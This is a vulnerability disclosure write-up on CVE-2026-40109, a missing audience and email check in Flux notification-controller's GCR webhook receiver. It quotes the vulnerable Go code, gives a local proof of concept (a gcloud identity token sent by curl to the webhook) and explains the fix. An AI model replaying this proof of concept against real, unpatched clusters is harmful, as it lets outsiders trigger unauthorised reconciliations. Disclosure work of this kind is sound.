TL;DR
Flux notification-controller’s GCR receiver verified that incoming JWT tokens were signed by Google but never checked what project or service account the token was issued for. Any valid Google OIDC token from any account passed authentication. A free Gmail account was enough to trigger unauthorized Flux reconciliations on a victim’s cluster.
Background
Flux is a widely used GitOps tool for Kubernetes. It is made up of several separate controllers — source-controller, kustomize-controller, helm-controller, and notification-controller. Each ships with its own version number under the Flux umbrella release.
This vulnerability is in notification-controller specifically — the component that handles incoming webhooks from external systems like GitHub, GitLab, Bitbucket, and Google Container Registry (GCR). When you install Flux v2.8.2, it bundles notification-controller v1.8.2, which contains this bug. No other Flux controller is affected.
For GCR, Flux integrates with Google Pub/Sub. When a new image is pushed to GCR, Google sends a signed HTTP push notification to a configured Flux webhook URL. To prove the notification is genuine, Google attaches a signed OIDC JWT token to each request.
A valid JWT from Google contains three important claims:
| Claim | Meaning | Should Flux check it? |
|---|---|---|
iss |
Issuer — must be accounts.google.com |
Yes |
aud |
Audience — must match your webhook URL | Yes |
email |
Service account that sent the message | Yes |
Flux checked the issuer. It never checked the audience or the email.
The vulnerable code
Affected component: notification-controller
Affected repo: github.com/fluxcd/notification-controller
Affected file: internal/server/receiver_handlers.go
Affected function: authenticateGCRRequest()
Flux version: v2.8.2 (notification-controller v1.8.2)
func authenticateGCRRequest(c *http.Client, bearer string, tokenIndex int) (err error) {
type auth struct {
Aud string `json:"aud"` // decoded but NEVER validated
}
token := bearer[tokenIndex:]
url := fmt.Sprintf("https://oauth2.googleapis.com/tokeninfo?id_token=%s", token)
resp, err := c.Get(url)
if err != nil {
return fmt.Errorf("cannot verify authenticity of payload: %w", err)
}
var p auth
if err := json.NewDecoder(resp.Body).Decode(&p); err != nil {
return fmt.Errorf("cannot decode auth payload: %w", err)
}
return nil // BUG: p.Aud decoded above but never compared
// BUG: email claim never read or checked at all
}
Three problems in one function:
Bug 1 — Audience (aud) decoded but never validated. The Aud field is populated from Google’s tokeninfo response and then silently ignored. The function returns nil (success) unconditionally.
Bug 2 — Email claim never read. The email claim — which identifies the GCP service account that sent the Pub/Sub message — is not read from the token at all. No struct field, no check, no comparison.
Bug 3 — Secret token unused for GCR. Every other receiver type uses the secretRef token to validate the request. For GCR, the secret token is fetched but never passed to authenticateGCRRequest:
// token is fetched from secretRef earlier...
err := authenticateGCRRequest(&http.Client{}, r.Header.Get("Authorization"), tokenIndex)
// ...but never passed. GCR is the only receiver type that ignores its own secret.
Grep confirmation — aud referenced exactly once in the entire codebase:
$ grep -rn "Aud|audience|aud" internal/server/
receiver_handlers.go:583: Aud string `json:"aud"` (struct definition only — never compared)
$ grep -rn "GCR|gcr" api/v1/
(no output — no expected audience field exists in the API spec)
Proof of concept
Environment: Ubuntu 22.04, kind v0.23.0, Flux v2.8.2
Setup
# Create cluster and install Flux
kind create cluster
flux install
# Create a secret for the GCR receiver
kubectl create secret generic gcr-token \
--from-literal=token=supersecretrandomtoken
# Create a GCR receiver watching a GitRepository
cat <<EOF | kubectl apply -f -
apiVersion: notification.toolkit.fluxcd.io/v1
kind: Receiver
metadata:
name: gcr-receiver
namespace: default
spec:
type: gcr
secretRef:
name: gcr-token
resources:
- apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
name: podinfo
namespace: default
EOF
# Get the generated webhook path
kubectl get receiver gcr-receiver -o jsonpath='{.status.webhookPath}'
# /hook/580dfb045e0b94609ecb5a256f351eaca72a0072c8b78d0343c1c05b63a016f0
# Forward the port
kubectl port-forward -n flux-system svc/notification-controller 9292:9292
The attack
# Get a real Google OIDC token from my own account — any Google account works
TOKEN=$(gcloud auth print-identity-token)
# Decode token claims — shows the aud has nothing to do with the victim
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
Token claims:
{
"iss": "https://accounts.google.com",
"aud": "32555943399.apps.googleusercontent.com",
"email": "attacker@gmail.com",
"email_verified": true
}
The aud value 32555943399.apps.googleusercontent.com is Google’s own gcloud CLI client ID — completely unrelated to the victim’s Flux instance, GCR project, or Pub/Sub subscription.
# Send crafted GCR Pub/Sub payload with attacker's unrelated token
curl -X POST "http://localhost:9292/hook/580dfb045e0b94609ecb5a256f351eaca72a0072c8b78d0343c1c05b63a016f0" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"message": {
"data": "eyJhY3Rpb24iOiJJTlNFUlQiLCJkaWdlc3QiOiJ1cy1lYXN0MS1kb2NrZXIucGtnLmRldi9teS1wcm9qZWN0L215LXJlcG8vYXBwMUBzaGEyNTY6NmVjMTI4ZTI2Y2Q1IiwidGFnIjoidXMtZWFzdDEtZG9ja2VyLnBrZy5kZXYvbXktcHJvamVjdC9teS1yZXBvL2FwcDE6djEuMi4zIn0="
}
}'
Result:
HTTP/1.1 200 OK
Reconcile annotation before the request: empty
Reconcile annotation after:
reconcile.fluxcd.io/requestedAt: 2026-03-15 16:37:37.485992363 +0000 UTC
Flux accepted the token — whose audience had no relation to the victim — and triggered reconciliation on the targeted GitRepository. Audience is never validated.
Impact
What an attacker needs:
- A valid Google account — free Gmail works
- The victim’s Flux webhook URL
What an attacker can do:
- Trigger unscheduled Flux reconciliations at any time
- Chain with a Git repository compromise — poison the source, then force immediate reconciliation instead of waiting for the next scheduled sync cycle
- Cause operational disruption via repeated forced reconciliations
What limits the impact:
- The webhook URL is not publicly enumerable — it is derived from
sha256(token + name + namespace)where token is a random secret. An attacker needs cluster read access, leaked secrets, or access to Pub/Sub config to discover it - Flux reconciliation is idempotent — if the Git source has not changed, reconciliation is a no-op
- Flux deduplicates reconciliation requests — many requests in a short period result in only one reconciliation
Why the webhook URL is not a sufficient security boundary:
Webhook URLs appear in logs, monitoring dashboards, Pub/Sub subscription configurations, and CI/CD pipelines. Treating URL secrecy as the primary security control is not sound design — the token authentication exists precisely to be the actual security boundary, and it was broken.
How notification-controller was fixed in v1.8.3
Fix PR: fluxcd/notification-controller#1279
1. Replaced manual tokeninfo call with Google’s official library
The old code called oauth2.googleapis.com/tokeninfo manually and ignored the response claims. The fix replaces this with Google’s official google.golang.org/api/idtoken library, which handles signature verification and audience validation correctly in one call:
// OLD — manual tokeninfo call, claims ignored
url := fmt.Sprintf("https://oauth2.googleapis.com/tokeninfo?id_token=%s", token)
resp, err := c.Get(url)
var p auth
json.NewDecoder(resp.Body).Decode(&p)
return nil // always succeeds
// NEW — official library, audience validated automatically
v, err := idtoken.NewValidator(ctx)
payload, err := v.Validate(ctx, token, expectedAudience)
// Validate() returns error if audience does not match
2. Function signature extended to accept expected values from the secret
// OLD — no expected values passed in
func authenticateGCRRequest(c *http.Client, bearer string, tokenIndex int) error
// NEW — validates against expected values read from the Kubernetes secret
func authenticateGCRRequest(ctx context.Context, bearer string,
expectedEmail string, expectedAudience string) error {
// idtoken.Validate() checks audience automatically, then:
// Check issuer
issuer, _ := payload.Claims["iss"].(string)
if issuer != "accounts.google.com" &&
issuer != "https://accounts.google.com" {
return fmt.Errorf("token issuer is '%s', want 'accounts.google.com'", issuer)
}
// Check email matches the configured service account
email, _ := payload.Claims["email"].(string)
emailVerified, _ := payload.Claims["email_verified"].(bool)
if expectedEmail != "" && email != expectedEmail {
return fmt.Errorf("token email is '%s', want '%s'", email, expectedEmail)
}
if !emailVerified {
return fmt.Errorf("token email '%s' is not verified", email)
}
return nil
}
3. Audience reconstructed from the request when not explicitly set
audience := string(secret.Data["audience"])
if audience == "" {
// Reconstruct from the incoming request URL
// This matches how Google Pub/Sub sets the audience by default
scheme := "https"
if proto := r.Header.Get("X-Forwarded-Proto"); proto != "" {
scheme = proto
}
audience = scheme + "://" + r.Host + r.URL.Path
}
4. Secret format updated
apiVersion: v1
kind: Secret
metadata:
name: gcr-webhook-token
namespace: apps
type: Opaque
stringData:
token: <random token>
email: <service-account>@<project>.iam.gserviceaccount.com
# optional — set only if you configured a custom audience in Pub/Sub
# audience: https://your-flux-endpoint/hook/...
5. Test infrastructure fixed
The existing test sent "Bearer token" (an invalid token) and expected HTTP 200 — meaning the auth code path was completely untested. The fix adds a gcrTokenValidator interface so tests mock the Google API call without hitting real Google servers:
gcrTokenValidator: func(_ context.Context, bearer string,
expectedEmail string, expectedAudience string) error {
if bearer == "" {
return fmt.Errorf("missing authorization header")
}
return nil
},
Summary of what changed
| Before (v1.8.2) | After (v1.8.3) | |
|---|---|---|
| Token signature | Verified via tokeninfo | Verified via idtoken library |
Audience (aud) |
Decoded, never checked | Validated by idtoken.Validate() |
Issuer (iss) |
Not checked | Checked against accounts.google.com |
| Never read | Checked against secret’s email key |
|
email_verified |
Not checked | Must be true |
Secret email key |
Not used | Documented as required (code-enforced in Flux v2.9.0) |
| Test coverage | Broken — auth path untested | Fixed with mock validator interface |
Note: The fix in notification-controller v1.8.3 makes the email and audience fields optional for backward compatibility. Flux v2.9.0 — not yet released as of this writing, current latest is Flux v2.8.5 — will make email mandatory as a breaking change. Do not wait for v2.9.0 — add the email key to your GCR Receiver secret now.
Timeline
| Date | Event |
|---|---|
| March 15, 2026 | Vulnerability discovered during code review |
| March 15, 2026 | End-to-end PoC confirmed on kind cluster with Flux v2.8.2 |
| March 15, 2026 | Reported to cncf-flux-security@lists.cncf.io |
| April 5, 2026 | Flux security team acknowledged and began fix |
| April 8, 2026 | Fix merged — notification-controller v1.8.3 released, bundled in Flux v2.8.5 |
| April 9, 2026 | CVE-2026-40109 assigned by GitHub Security |
| April 9, 2026 | Public disclosure |
Key takeaway
Decoding a JWT claim is not the same as validating it.
The aud field was present in the struct, populated from Google’s response, and silently ignored. This class of bug parsing security-relevant data but not enforcing it is easy to introduce and hard to catch in code review because the code looks correct at a glance.
Google’s Pub/Sub documentation explicitly lists audience and email validation as required steps. When integrating a third-party authentication protocol, always read the provider’s full validation requirements — not just the minimum to make tokens decode successfully.